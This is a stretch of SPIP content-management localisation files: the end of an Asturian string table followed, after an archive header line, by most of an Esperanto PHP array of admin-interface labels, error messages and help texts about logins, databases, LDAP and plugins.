'titre_image_auteur_supprime' => 'Autor desaniciáu',
'titre_image_redacteur' => 'Redactor ensin accesu',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Visitante',
'titre_joindre_document' => 'AMESTAR UN DOCUMENTU',
'titre_mots_cles' => 'PALLABRES-CLAVE',
'titre_probleme_technique' => 'Atención: por cuenta d’un fallu tecnicu (servidor SQL) ta torgáu l’accesu a esta parte del sitiu web. Fonderes disculpes, encamentámos-te que tornes n’otru momentu.',
'titre_publier_document' => 'ESPUBLIZAR UN DOCUMENTU NESTA ESTAYA',
'titre_signatures_attente' => 'Robles n’espera de validación',
'titre_signatures_confirmees' => 'Robles confirmáes',
'titre_statistiques' => 'Estadístiques del sitiu',
'titre_titre_document' => 'Títulu del documentu:',
'todo' => 'por llegar',
'trad_reference' => '(artículu orixinal)', # MODIF
// Z
'zbug_balise_b_aval' => ' : baliza B detrás',
'zbug_balise_inexistante' => 'La baliza @balise@ ta mal declarada pa @from@',
'zbug_balise_sans_argument' => 'Falta un parámetru na baliza @balise@',
'zbug_boucle' => 'bucle',
'zbug_boucle_recursive_undef' => 'Bucle recursivu non definíu: @nom@',
'zbug_calcul' => 'cálculu',
'zbug_champ_hors_boucle' => 'Campu @champ@ fuera de bucle',
'zbug_champ_hors_motif' => 'El campu @champ@ ta fuera d’un contestu @motif@',
'zbug_code' => 'códigu',
'zbug_critere_inconnu' => 'Criteriu desconocíu @critere@',
'zbug_distant_interdit' => 'Esternu torgáu',
'zbug_doublon_table_sans_cle_primaire' => 'Repetíos nuna tabla ensin clave primaria simple',
'zbug_doublon_table_sans_index' => 'Duplicaos nuna tabla ensin índiz',
'zbug_erreur_boucle_double' => 'Doble definición del bucle @id@',
'zbug_erreur_boucle_fermant' => 'El bucle @id@ ta ensin zarrar',
'zbug_erreur_boucle_syntaxe' => 'Sintaxis del bucle @id@ incorreuta',
'zbug_erreur_compilation' => 'Error de compilación',
'zbug_erreur_execution_page' => 'Error d’execución',
'zbug_erreur_filtre' => 'El filtru @filtre@ nun ta definíu',
'zbug_erreur_meme_parent' => 'El criteriu {meme_parent} nun s’aplica más que a los bucles (FORUMS) o (RUBRIQUES)',
'zbug_erreur_squelette' => 'Error(es) na cadarma',
'zbug_hors_compilation' => 'Fuera de Compilación',
'zbug_info_erreur_squelette' => 'Error nel sitiu',
'zbug_inversion_ordre_inexistant' => 'Inversión d’un orde inesistente',
'zbug_pagination_sans_critere' => 'Baliza #PAGINATION ensin criteriu {pagination} o emplegada nun bucle recursivu',
'zbug_parametres_inclus_incorrects' => 'Parámetru d’inclusión incorreutu: @param@',
'zbug_profile' => 'Tiempu pal cálculu: @time@',
'zbug_resultat' => 'resultáu',
'zbug_serveur_indefini' => 'Sirvidor SQL indefiníu',
'zbug_statistiques' => 'Estadístiques de les consultes SQL clasificaes por duración',
'zbug_table_inconnue' => 'Tabla SQL «@table@» desconocía',
'zxml_connus_attributs' => 'atributos conocíos',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atributu desconocíu',
'zxml_inconnu_balise' => 'baliza desconocía',
'zxml_inconnu_entite' => 'entidá desconocía',
'zxml_inconnu_id' => 'ID desconocía',
'zxml_mais_de' => 'más de',
'zxml_non_conforme' => 'nun ye conforme al motivu',
'zxml_non_fils' => 'nun ye un fiu de',
'zxml_nonvide_balise' => 'etiqueta non vacía',
'zxml_obligatoire_attribut' => 'atributu obligatoriu pero que falta en',
'zxml_succession_fils_incorrecte' => 'sucesión de los fios incorreuta',
'zxml_survoler' => 'pasar el mur pa ver los correutos',
'zxml_valeur_attribut' => 'valor de l’atributu',
'zxml_vide_balise' => 'etiqueta vacía',
'zxml_vu' => 'visto enantes'
);
?>
ecrire_eo.php 0000666 00000214340 15252547432 0007232 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Aktivigi la kromprogramon',
'affichage' => 'Afiŝado',
'aide_non_disponible' => 'Tiu ĉi parto de la rethelpilo ankoraŭ ne disponeblas en tiu ĉi lingvo.',
'annuler_recherche' => 'Nuligi serĉon',
'auteur' => 'Aŭtoro :',
'avis_acces_interdit' => 'Malpermesata aliro.',
'avis_article_modifie' => 'Atentu, @nom_auteur_modif@ laboris pri tiu artikolo antaŭ @date_diff@ minutoj',
'avis_aucun_resultat' => 'Neniu rezulto.',
'avis_base_inaccessible' => 'Ne eblas konektiĝi al la datumbazo @base@.',
'avis_chemin_invalide_1' => 'La alirvojo, kiun vi elektis, ',
'avis_chemin_invalide_2' => 'ne ŝajnas taŭgi. Bonvolu reveni al la antaŭa paĝo kaj kontroli la entajpitajn datenojn.',
'avis_connexion_echec_1' => 'Konektiĝo al SQL-servilo malsukcesis.',
'avis_connexion_echec_2' => 'Revenu al la antaŭa paĝo, kaj kontrolu entajpitajn datenojn.',
'avis_connexion_echec_3' => '<b>N.B.</b> Ĉe multaj serviloj, vi devas <b>peti</b> aktivigon de via aliro al SQL-datumbazo antaŭ ol uzi ĝin. Se vi ne povas konektiĝi, kontrolu ke vi ja faris tiun ĉi demarŝon.',
'avis_connexion_erreur_nom_base' => 'La nomo de la datumbazo enhaveblas nur literoj, ciferoj kaj haltostrekoj',
'avis_connexion_ldap_echec_1' => 'Konektiĝo al LDAP-servilo malsukcesis.',
'avis_connexion_ldap_echec_2' => 'Revenu al la antaŭa paĝo, kaj kontrolu la entajpitajn datenojn. ',
'avis_connexion_ldap_echec_3' => 'Eventuale, provu ne uzi LDAP-materialon por importi uzantojn.',
'avis_deplacement_rubrique' => 'Atentu ! Tiu ĉi rubriko enhavas @contient_breves@ fulm-informon @scb@ : se vi translokas ĝin, bonvolu noĉi tiun por-konfirman noĉujon. ',
'avis_destinataire_obligatoire' => 'Vi devas indiki adresaton antaŭ ol sendi ĉi tiun mesaĝon.',
'avis_erreur_connexion_mysql' => 'SQL-konekta eraro ',
'avis_erreur_version_archive' => '<b>Atentu ! La dosiero @archive@ kongruas kun
alia versio de SPIP ol tiu, kiun vi instalis.</b>
Vi estas alfrontonta grandegajn problemojn :
detru-riskon de via datenbazo,
diversajn retejajn misfunkciojn, ktp.
Ne validigu tiun peton pri importo.<p>Por pli
da informoj, vidu <a href="@spipnet@">
la dokumentaron pri SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Malpermesata aliro</b><div>SPIP jam estas instalita.</div>',
'avis_lecture_noms_bases_1' => 'Instalprogramo ne sukcesis legi la nomojn de la instalitaj datenbazoj.',
'avis_lecture_noms_bases_2' => 'Aŭ neniu datenbazo disponeblas, aŭ la funkcio ebliganta listigi datenbazojn estis malaktivigita pro sekuraj kialoj (tio ja okazas ĉe multaj retejoj-gastigantoj).',
'avis_lecture_noms_bases_3' => 'Okaze de la dua alternativo, eble uzeblos datenbazo nomita per via salutnomo :',
'avis_non_acces_message' => 'Vi ne havas alir-rajton al tiu mesaĝo.',
'avis_non_acces_page' => 'Vi ne havas alir-rajton al tiu paĝo.',
'avis_operation_echec' => 'La ago malsukcesis.',
'avis_operation_impossible' => 'Faro ne ebla',
'avis_probleme_archive' => 'Problemo por legi la dosieron @archive@',
'avis_suppression_base' => 'ATENTU, forviŝo de datenoj estas definitiva',
'avis_version_mysql' => 'Via SQL-versio (@version_mysql@) ne ebligas memriparon de datenbazaj tabeloj.',
// B
'bouton_acces_ldap' => 'Aldoni aliron al LDAP',
'bouton_ajouter' => 'Aldoni',
'bouton_ajouter_participant' => 'ALDONI PARTOPRENONTON :',
'bouton_annonce' => 'ANONCO',
'bouton_annuler' => 'Nuligi',
'bouton_checkbox_envoi_message' => 'eblas sendi mesaĝon',
'bouton_checkbox_indiquer_site' => 'devige indiku retejon',
'bouton_checkbox_signature_unique_email' => 'po unu subskribo por retpoŝtadreso',
'bouton_checkbox_signature_unique_site' => 'po unu subskribo por retejo',
'bouton_demande_publication' => 'Peti publikigon de tiu ĉi artikolo',
'bouton_desactive_tout' => 'Ĉion malaktivigi',
'bouton_desinstaller' => 'Malinstali',
'bouton_effacer_index' => 'Forviŝi indicojn',
'bouton_effacer_tout' => 'Forviŝi ĈION',
'bouton_envoi_message_02' => 'SENDI MESAĜON',
'bouton_envoyer_message' => 'Definitiva mesaĝo : sendi',
'bouton_fermer' => 'Fermi',
'bouton_mettre_a_jour_base' => 'Ĝisdatigi la datumbazo',
'bouton_modifier' => 'Modifi',
'bouton_pense_bete' => 'PROPRA MEMORIGILO',
'bouton_radio_activer_messagerie' => 'Ŝalti la internan mesaĝilon',
'bouton_radio_activer_messagerie_interne' => 'Ŝalti la internan mesaĝilon',
'bouton_radio_activer_petition' => 'Aktivigi la petskribon',
'bouton_radio_afficher' => 'Afiŝi',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Aperi en la listo de konektitaj redaktantoj',
'bouton_radio_desactiver_messagerie' => 'Malŝalti la mesaĝilon',
'bouton_radio_envoi_annonces_adresse' => 'Sendi la anoncojn al jena adreso :',
'bouton_radio_envoi_liste_nouveautes' => 'Sendi la novaĵoj-liston',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Ne aperi en la listo de redaktantoj',
'bouton_radio_non_envoi_annonces_editoriales' => 'Ne sendi anoncojn pri ĉefartikoloj',
'bouton_radio_pas_petition' => 'Neniu petskribo',
'bouton_radio_petition_activee' => 'Aktivigita petskribo',
'bouton_radio_supprimer_petition' => 'Forviŝi la petskribon',
'bouton_redirection' => 'ALIDIREKTIGO',
'bouton_relancer_installation' => 'Relanĉi la instaladon',
'bouton_suivant' => 'Sekvanta',
'bouton_tenter_recuperation' => 'Provi riparon',
'bouton_test_proxy' => 'Provi la prokuran servilon',
'bouton_vider_cache' => 'Malplenigi la staplon',
'bouton_voir_message' => 'Antaŭrigardi antaŭ ol validigi la mesaĝon',
// C
'cache_mode_compresse' => 'Dosieroj de la staplo estas registritaj laŭ densigita modo.',
'cache_mode_non_compresse' => 'La dosieroj de staplo estas registritaj laŭ ne-densigita modo.',
'cache_modifiable_webmestre' => 'Tiun parametron povas modifi la retejestro.',
'calendrier_synchro' => 'Se vi uzas temp-organizan bitvaron kongruan kun <b>iCal</b> formato, vi povas ĝisdatigi tiun lastan laŭ la datenoj de tiu ĉi retejo.',
'config_activer_champs' => 'Ŝalti la jenajn kampojn',
'config_choix_base_sup' => 'indiki datumbazon ĉe tiu ĉi servilo',
'config_erreur_base_sup' => 'SPIP ne havas alireblon al listo de alireblaj bazoj',
'config_info_base_sup' => 'Se vi havas aliajn datumbazojn por pridemandi tra SPIP, pere de ĝia SQL-servilo aŭ de alia servilo, la ĉi-suba formularo ebligas al vi ilin deklari. Se vi lasas tajpujojn malplenaj, la ensalutiloj al la ĉefa datumbazo estos uzitaj.',
'config_info_base_sup_disponibles' => 'Jam pridemandeblaj kromaj datumbazoj :',
'config_info_enregistree' => 'La nova agordo estas registrita',
'config_info_logos' => 'Ĉiu elemento de la retejo povas havi vinjeton, kaj « flugrigardeblajn vinjeton »',
'config_info_logos_utiliser' => 'Uzi la vinjetojn',
'config_info_logos_utiliser_non' => 'Ne uzi la vinjetojn',
'config_info_logos_utiliser_survol' => 'Uzi la flugrigardajn vinjetojn',
'config_info_logos_utiliser_survol_non' => 'Ne uzi la flugrigardeblajn vinjetojn',
'config_info_redirection' => 'Se vi ŝaltas tiun ĉi opcion, vi povos krei virtualajn artikolojn, simplajn referencojn pri artikoloj publikigitaj ĉe aliaj retejoj aŭ ekster SPIP.',
'config_redirection' => 'Virtualaj artikoloj',
'config_titre_base_sup' => 'Deklaro de kroma datumbazo',
'config_titre_base_sup_choix' => 'Elektu kroman datumbazon',
'connexion_ldap' => 'Konektiĝo :',
'copier_en_local' => 'Kopii en lokan komputilon',
'creer_et_associer_un_auteur' => 'Krei kaj ligi aŭtoron',
'creer_et_associer_une_rubrique' => 'Krei kaj ligi rubrikon',
// D
'date_mot_heures' => 'horoj',
// E
'ecran_securite' => ' + sekuriga ŝirmilo @version@',
'email' => 'retpoŝtadreso',
'email_2' => 'retpoŝtadreso :',
'en_savoir_plus' => 'Pli scii tion',
'entree_adresse_annuaire' => 'Adreso al la dosierujilo',
'entree_adresse_email' => 'Via retpoŝtadreso',
'entree_adresse_email_2' => ' Retpoŝtadreso',
'entree_base_donnee_1' => 'Adreso de la datenbazo',
'entree_base_donnee_2' => '(Tiu adreso ofte estas tiu de via retejo, foje estas "localhost", alifoje la entajpujo restas malplena.)',
'entree_biographie' => 'Mallonga kelkvorta biografio.',
'entree_chemin_acces' => '<b>Entajpi</b> alirvojon :',
'entree_cle_pgp' => 'Via PGP-ŝlosilo ',
'entree_cle_pgp_2' => 'PGP-ŝlosilo',
'entree_contenu_rubrique' => '(Enhavo de la rubriko per kelkaj vortoj.)',
'entree_identifiants_connexion' => 'Viaj ensalutiloj...',
'entree_identifiants_connexion_2' => 'Ensalutiloj',
'entree_informations_connexion_ldap' => 'En tiun formularon, bonvolu entajpi informojn por konekti al via LDAP-dosierujilo. Tiujn informojn disponigu al vi la sistema aŭ reta mastrumanto.',
'entree_infos_perso' => 'Kiu vi estas ?',
'entree_infos_perso_2' => 'Kiu estas la aŭtoro ?',
'entree_interieur_rubrique' => 'En la rubriko :',
'entree_liens_sites' => '<b>Hiperligilo</b> (referenco, vizitinda retejo...)',
'entree_login' => 'Via salutnomo',
'entree_login_connexion_1' => 'La salutnomo',
'entree_login_connexion_2' => '(Foje estas via salutnomo por eniri la FTP-ejon ; foje ĝi restas malplena)',
'entree_login_ldap' => 'Komenca salutnomo por LDAP',
'entree_mot_passe' => 'Via pasvorto',
'entree_mot_passe_1' => 'La pasvorto por ensaluti',
'entree_mot_passe_2' => '(Foje estas via pasvorto por la FTP-ejo ; foje ĝi restas malplena)',
'entree_nom_fichier' => 'Bonvolu entajpi la dosieran nomon @texte_compresse@ :',
'entree_nom_pseudo' => 'Via nomo aŭ via kromnomo',
'entree_nom_pseudo_1' => '(Via nomo aŭ via kromnomo)',
'entree_nom_pseudo_2' => 'Nomo aŭ kromnomo',
'entree_nom_site' => 'La nomo de via retejo',
'entree_nom_site_2' => 'retejnomo de la aŭtoro',
'entree_nouveau_passe' => 'Nova pasvorto',
'entree_passe_ldap' => 'Pasvorto',
'entree_port_annuaire' => 'Numero de la dosierujila pordo',
'entree_signature' => 'Subskribo',
'entree_titre_obligatoire' => '<b>Titolo</b> [Deviga]<br />',
'entree_url' => 'Retadreso de via retejo',
'entree_url_2' => 'Retadreso de la retejo',
'erreur_connect_deja_existant' => 'Servilo jam ekzistas kun tiu nomo',
'erreur_nom_connect_incorrect' => 'Tiu servilonomo ne estas permesita',
'erreur_plugin_desinstalation_echouee' => 'La malinstalo de la kromprogramo malsukcesis.
Tamen vi povas malŝalti ĝin.',
'erreur_plugin_fichier_absent' => 'Foresta dosiero',
'erreur_plugin_fichier_def_absent' => 'Difina dosiero forestas',
'erreur_plugin_nom_fonction_interdit' => 'Malpermesata funkcio-nomo',
'erreur_plugin_nom_manquant' => 'Kromprogramo-nomo mankas',
'erreur_plugin_prefix_manquant' => 'Nedifinita nom-spaco de kromprogramo',
'erreur_plugin_tag_plugin_absent' => '<plugin> mankas en tiu difina dosiero',
'erreur_plugin_version_manquant' => 'Kromprogramo-versio mankas',
// H
'htaccess_a_simuler' => 'Averto : la agordo de vian HTTP-servilo ignoras dosierojn @htaccess@. Por certigi taŭgan sekureco, vi devas ŝanĝi la agordon pri tio, aŭ ke konstantoj @constantes@ (difinebla en la dosiero mes_options.php) havas kiel valoro dosierujojn ekstere de @document_root@.',
'htaccess_inoperant' => 'senefika htaccess',
// I
'ical_info1' => 'Tiu paĝo prezentas plurajn metodojn por daŭre ricevi informojn pri la vivo de tiu retejo.',
'ical_info2' => 'Por pli da informoj pri ĉi ĉiuj teknikoj, senhezite konsultu <a href="@spipnet@">la dokumentaron de SPIP</a>.',
'ical_info_calendrier' => 'Du kalendaroj disponeblas. La unua estas retejo-mapo anoncanta ĉiujn publikigitajn artikolojn. La dua enhavas la eldon-anoncojn, kaj viajn lastajn privatajn mesaĝojn : ĝi estas rezervita al vi, pere de persona ŝlosilo, kiun vi ĉiumomente povas modifi ŝanĝante vian pasvorton.',
'ical_methode_http' => 'Elŝuti',
'ical_methode_webcal' => 'Sinkroniga ĝisdatigo (webcal ://)',
'ical_texte_js' => 'Per ununura linio de ĝavaskripto, vi povas simplege afiŝi ĉe kiu ajn retejo, kiun vi havas, la lastajn artikolojn publikigitajn ĉe tiu retejo.',
'ical_texte_prive' => 'Tiu ĉi strikte persona kalendaro, informas vin pri la privataj eldonoj de la retejo (personaj taskoj kaj rendevuoj, proponitaj artikoloj kaj fulm-informoj...).',
'ical_texte_public' => 'Per tiu ĉi kalendaro, vi povas gvati la publikan funkciadon de tiu retejo (publikigitaj fulm-informoj kaj artikoloj).',
'ical_texte_rss' => 'Vi povas abonŝuti la novaĵojn el tiu ĉi retejo al kiu ajn XML/RSS-legilo. Estas tiu formato, kiu ankaŭ ebligas al SPIP legi la novaĵojn publikigitajn ĉe aliaj retejoj, kiuj uzas kongruan formaton (aliaj abonligitaj retejoj).',
'ical_titre_js' => 'Ĝavaskripto',
'ical_titre_mailing' => 'Dissendlisto',
'ical_titre_rss' => 'Abonligoj',
'icone_accueil' => 'Hejmpaĝo',
'icone_activer_cookie' => 'Aktivigi la korespond-kuketon',
'icone_activite' => 'Aktiveco',
'icone_admin_plugin' => 'Mastrumado de kromprogramoj',
'icone_administration' => 'Bontenado',
'icone_afficher_auteurs' => 'Afiŝi la aŭtorojn',
'icone_afficher_visiteurs' => 'Afiŝi la vizitantojn',
'icone_arret_discussion' => 'Ne plu partopreni en ĉi tiu diskuto',
'icone_calendrier' => 'Kalendaro',
'icone_configuration' => 'Agordo',
'icone_creer_auteur' => 'Krei novan aŭtoron kaj ligi ŝlin al tiu artikolo',
'icone_creer_mot_cle' => 'Krei novan ŝlosilvorton kaj ligi ĝin al tiu artikolo',
'icone_creer_mot_cle_rubrique' => 'Krei novan ŝlosilvorton kaj ligi ĝin kun tiu ĉi rubriko',
'icone_creer_mot_cle_site' => 'Krei novan ŝlosilvorton kaj ligi ĝin kun tiu ĉi retejo',
'icone_creer_rubrique_2' => 'Krei novan rubrikon',
'icone_edition' => 'Eldono',
'icone_envoyer_message' => 'Sendi tiun ĉi mesaĝon',
'icone_ma_langue' => 'Mia lingvo',
'icone_mes_infos' => 'Miaj informoj',
'icone_mes_preferences' => 'Miaj preferoj',
'icone_modifier_article' => 'Modifi tiun ĉi artikolon',
'icone_modifier_message' => 'Modifi tiun ĉi mesaĝon',
'icone_modifier_rubrique' => 'Modifi tiun ĉi rubrikon',
'icone_publication' => 'Publikigo',
'icone_relancer_signataire' => 'Reinstigi tiun ĉi subskribinton',
'icone_retour' => 'Reen',
'icone_retour_article' => 'Reen al la artikolo',
'icone_squelette' => 'Skeletoj',
'icone_suivi_publication' => 'Superrigardo de la publikigo',
'icone_supprimer_cookie' => 'Forviŝi la por-korespondan kuketon ',
'icone_supprimer_rubrique' => 'Forviŝi tiun rubrikon',
'icone_supprimer_signature' => 'Forviŝi tiun subskribon',
'icone_valider_signature' => 'Validigi tiun subskribon',
'image_administrer_rubrique' => 'Vi povas mastrumi tiun rubrikon',
'impossible_modifier_login_auteur' => 'Ne eblas modifi la salutnomo.',
'impossible_modifier_pass_auteur' => 'Ne eblas modifi la pasvorto.',
'info_1_article' => '1 artikolo',
'info_1_article_syndique' => '1 abonligita artikolo',
'info_1_auteur' => '1 aŭtoro',
'info_1_message' => '1 mesaĝo',
'info_1_mot_cle' => '1 ŝlosilvorto',
'info_1_rubrique' => '1 rubriko',
'info_1_site' => '1 retejo',
'info_1_visiteur' => '1 vizitanto',
'info_activer_cookie' => 'Vi povas aktivigi <b>por-korespondan kuketon</b>. Tio ebligos al vi facile iri de la publika spaco al la privata.',
'info_admin_etre_webmestre' => 'Doni al mi la rajtoj de retejestro',
'info_admin_gere_rubriques' => 'Tiu mastrumanto mastrumas la jenajn rubrikojn :',
'info_admin_gere_toutes_rubriques' => 'Tiu mastrumanto mastrumas <b>ĉiujn rubrikojn</b>.',
'info_admin_gere_toutes_rubriques_2' => 'Mi mastrumas <b>ĉiujn rubrikojn</b>',
'info_admin_je_suis_webmestre' => 'Mi estas <b>retejestro</b>',
'info_admin_statuer_webmestre' => 'Doni al tiu mastrumanto la rajtoj de retejestro',
'info_admin_webmestre' => 'Tiu mastrumanto estas <b>retejestro</b>',
'info_administrateur' => 'Mastrumanto',
'info_administrateur_1' => 'Mastrumanto',
'info_administrateur_2' => 'de la retejo (<i>uzi singarde</i>)',
'info_administrateur_site_01' => 'Se vi estas mastrumanto de la retejo, bonvolu',
'info_administrateur_site_02' => 'musklaki ĉi-tiun ligilon',
'info_administrateurs' => 'Mastrumantoj',
'info_administrer_rubrique' => 'Vi povas mastrumi tiun rubrikon',
'info_adresse' => 'ĉe la adreso :',
'info_adresse_url' => 'Retadreso (URL) de la publika retejo',
'info_afficher_par_nb' => 'Afiŝi per',
'info_afficher_visites' => 'Afiŝi la vizitojn de :',
'info_aide_en_ligne' => 'Reta SPIP-helpilo',
'info_ajout_image' => 'Kiam vi ligas bildojn kiel alkroĉitajn dokumentojn al artikolo,
SPIP povas aŭtomate krei por vi etajn vinjetojn de la
enmetitaj bildoj. Tio ebligas ekzemple, aŭtomate krei bildaron, ĉu en sukcesiva, ĉu samtempa ordo.',
'info_ajout_participant' => 'La jena partoprenanto estas aldonita :',
'info_ajouter_rubrique' => 'Aldoni alian mastrumendan rubrikon :',
'info_annonce_nouveautes' => 'Anonco pri novaĵoj',
'info_anterieur' => 'antaŭa',
'info_article' => 'artikolo',
'info_article_2' => 'artikoloj',
'info_article_a_paraitre' => 'Aperotaj post-datitaj artikoloj',
'info_articles_02' => 'artikoloj',
'info_articles_2' => 'Artikoloj',
'info_articles_auteur' => 'La artikoloj de tiu aŭtoro',
'info_articles_miens' => 'Miaj artikoloj',
'info_articles_tous' => 'Ĉiuj la artikoloj',
'info_articles_trouves' => 'Trovitaj artikoloj',
'info_articles_trouves_dans_texte' => 'Trovitaj artikoloj (en la teksto)',
'info_attente_validation' => 'Viaj artikoloj atendantaj validigon',
'info_aucun_article' => 'Neniu artikolo',
'info_aucun_article_syndique' => 'Neniu abonligita artikolo',
'info_aucun_auteur' => 'Neniu aŭtoro',
'info_aucun_message' => 'Neniu mesaĝo',
'info_aucun_rubrique' => 'Neniu rubriko',
'info_aucun_site' => 'Neniu retejo',
'info_aucun_visiteur' => 'Neniu vizitanto',
'info_aujourdhui' => 'hodiaŭ : ',
'info_auteur_message' => 'AŬTORO DE LA MESAĜO :',
'info_auteurs' => 'La aŭtoroj',
'info_auteurs_par_tri' => 'Aŭtoroj@partri@',
'info_auteurs_trouves' => 'Aŭtoroj trovitaj',
'info_authentification_externe' => 'Ekstera aŭtentigo',
'info_avertissement' => 'Averto',
'info_barre_outils' => 'ĉu per ĝia ilobreto ?',
'info_base_installee' => 'La strukturo de via datenbazo estas instalita.',
'info_bio' => 'Biografio',
'info_chapeau' => 'Ĉapo',
'info_chapeau_2' => 'Ĉapo :',
'info_chemin_acces_1' => 'Opcioj : <b>Alirvojo en la LDAP-dosierujilo</b>',
'info_chemin_acces_2' => 'Ekde nun vi devas konfiguri la alirvojon al la LDAP-dosierujilo. Tiu informo estas nepre necesa por legi la profilojn de uzantoj stokataj en la dosierujilo.',
'info_chemin_acces_annuaire' => 'Opcioj : <b>Aliro en la LDAP-dosierujilo',
'info_choix_base' => 'Tria etapo : ',
'info_classement_1' => '<sup>a</sup> en @liste@',
'info_classement_2' => '<sup>a</sup> en @liste@',
'info_code_acces' => 'Ne forgesu viajn proprajn alir-kodojn !',
'info_compatibilite_html' => 'Sekvi la HTML-normon',
'info_compresseur_gzip' => 'Estas rekomendate antaŭfare kontroli, ĉu via retgastiganto jam ĉiufoje densigas la php-skriptojn ; por tio, vi povas ekzemple uzi la jenan servon : @testgzip@',
'info_compresseur_texte' => 'Se via servilo ne aŭtomate densigas la html-paĝojn por ilin sendi al interretanoj, vi povas provi trudi tiun densigon por malkreskigi la pezon de la elŝutitaj paĝoj. <b>Atentu</b> : tio povas forte malrapidigi iujn servilojn.',
'info_config_suivi' => 'Se tiu ĉi adreso estas tiu de dissendlisto, indiku ĉi-sube la adreson ĉe kiu la partoprenantoj de la retejo povos registriĝi. Tiu adreso povas esti retligilo (ekz. la paĝo por rete registriĝi en la listo), aŭ retpoŝtadreso kun specifa temo (ekz. <tt>@adresse_suivi@?subject=registrigxi</tt>) :',
'info_config_suivi_explication' => 'Vi povas aboni la dissendliston de tiu ĉi retejo. Aboninta, vi ricevos per retmesaĝoj la anoncojn pri artikoloj kaj pri fulm-informoj proponitaj por publikigo.',
'info_confirmer_passe' => 'Konfirmi tiun novan pasvorton :',
'info_conflit_edition_avis_non_sauvegarde' => 'Atentu, la jenaj tajpujoj estis iel modifitaj. Sekve, viaj ŝanĝoj en tiuj ĉi tajpujoj ne estas registritaj.',
'info_conflit_edition_differences' => 'Malsamecoj :',
'info_conflit_edition_version_enregistree' => 'La registrita versio :',
'info_conflit_edition_votre_version' => 'Via versio :',
'info_connexion_base' => 'Dua etapo : <b>Konektiĝo-provo al la datenbazo</b>',
'info_connexion_base_donnee' => 'Konektiĝo al via datumbazo',
'info_connexion_ldap_ok' => '<b>La konektiĝo al LDAP sukcesis.</b><p>Vi povas iri al la sekvanta etapo</p>',
'info_connexion_mysql' => 'Via SQL-konektiĝo',
'info_connexion_ok' => 'La konektiĝo sukcesis.',
'info_contact' => 'Kontakt-adreso',
'info_contenu_articles' => 'Enhavo de la artikoloj',
'info_contributions' => 'Kontribuaĵoj',
'info_creation_paragraphe' => 'Por krei malplenajn paragrafojn, simple lasu malplenajn liniojn.',
'info_creation_rubrique' => 'Antaŭ ol skribi artikolojn,<br /> vi kreu almenaŭ po unu rubrikon.<br />',
'info_creation_tables' => 'Kreo de la datentabeloj',
'info_creer_base' => '<b>Krei</b> novan datenbazon :',
'info_dans_rubrique' => 'En la rubriko :',
'info_date_publication_anterieure' => 'Dato de antaŭa redakto :',
'info_date_referencement' => 'REFERENCIGO-DATO DE TIU RETEJO :',
'info_derniere_etape' => 'Finite !',
'info_derniers_articles_publies' => 'Viaj artikoloj laste rete publikigitaj',
'info_desactiver_messagerie_personnelle' => 'Vi povas aktivigi aŭ malaktivigi vian personan mesaĝilon ĉe tiu retejo.',
'info_descriptif' => 'Priskribo :',
'info_desinstaller_plugin' => 'forviŝas la datenojn kaj malaktivigas la kromprogramon',
'info_discussion_cours' => 'Nunaj diskutoj',
'info_ecrire_article' => 'Antaŭ ol ekhavi la eblon skribi artikolojn, vi devas krei almenaŭ unu rubrikon.',
'info_email_envoi' => 'retpoŝtadreso por sendo (nedeviga)',
'info_email_envoi_txt' => 'Indiku ĉi tie la adreson uzotan por sendi poŝtmesaĝojn (defaŭlte, la ricev-adreso estos uzata) :',
'info_email_webmestre' => 'Retpoŝtadreso de la retejestro',
'info_entrer_code_alphabet' => 'Entajpu la kodon de la uzenda alfabeto :',
'info_envoi_email_automatique' => 'Aŭtomata retleteroj-dissendado',
'info_envoyer_maintenant' => 'Sendu nun',
'info_etape_suivante' => 'Ek al posta etapo',
'info_etape_suivante_1' => 'Vi povas paŝi al posta etapo.',
'info_etape_suivante_2' => 'Vi povas paŝi al posta etapo.',
'info_exceptions_proxy' => 'Escepto por la prokura servilo',
'info_exportation_base' => 'Eksporto de la datenbazo al @archive@',
'info_facilite_suivi_activite' => 'Por faciligi la kontrolon de la reteja ĉefartikola aktiveco, SPIP povas transdoni per retmesaĝoj - ekzemple al dissendlisto de redaktantoj - la anoncon pri publikig-petoj kaj validig-petoj de artikoloj.',
'info_fichiers_authent' => 'Aŭtentokontrolaj dosieroj « .htpasswd »',
'info_forums_abo_invites' => 'Via retejo enhavas forumojn alireblajn nur per abono ; vizitantoj estas invititaj al registriĝo ĉe la publika retejo.',
'info_gauche_admin_effacer' => '<b>Nur respondeculoj de la retejo rajtas aliri tiun paĝon.</b><p>Ĝi ebligas aliron al la diversaj funkcioj pri teknika bontenado. Iuj el ili okazigas specifan aŭtentigan procezon, kiu postulas disponi je FTP-alirrajto al la retejo.</p>',
'info_gauche_admin_tech' => '<b>Nur respondeculoj de la retejo rajtas aliri tiun paĝon.</b><p>Ĝi ebligas aliron al la diversaj funkcioj pri teknika bontenado. Iuj el ili okazigas specifan aŭtentigan procezon, kiu
postulas disponi je FTP-alirrajto al la retejo.</p>',
'info_gauche_admin_vider' => '<b>Nur respondeculoj de la retejo rajtas aliri tiun paĝon.</b><p>Ĝi ebligas aliron al la diversaj funkcioj pri teknika bontenado. Iuj el ili okazigas specifan aŭtentigan procezon, kiu
postulas disponi je FTP-alirrajto al la retejo.</p>',
'info_gauche_auteurs' => 'Vi trovos ĉi tie ĉiujn aŭtorojn de la retejo. Ilia statuso estas indikita per koloro de sia piktogramo (mastrumanto = verda, redaktanto = flava).',
'info_gauche_auteurs_exterieurs' => 'La eksteraj aŭtoroj, sen alireblo al la retejo, estas indikitaj per blua piktogramo ;
la aŭtoroj forviŝitaj per griza piktogramo.',
'info_gauche_messagerie' => 'La mesaĝilo ebligas al vi interŝanĝi mesaĝojn inter aŭtoroj, konservi memorigilojn (por via propra uzado) aŭ afiŝi anoncojn ĉe la hejmpaĝo de la privata spaco (se vi estas mastrumanto).',
'info_gauche_numero_auteur' => 'AŬTORA NUMERO',
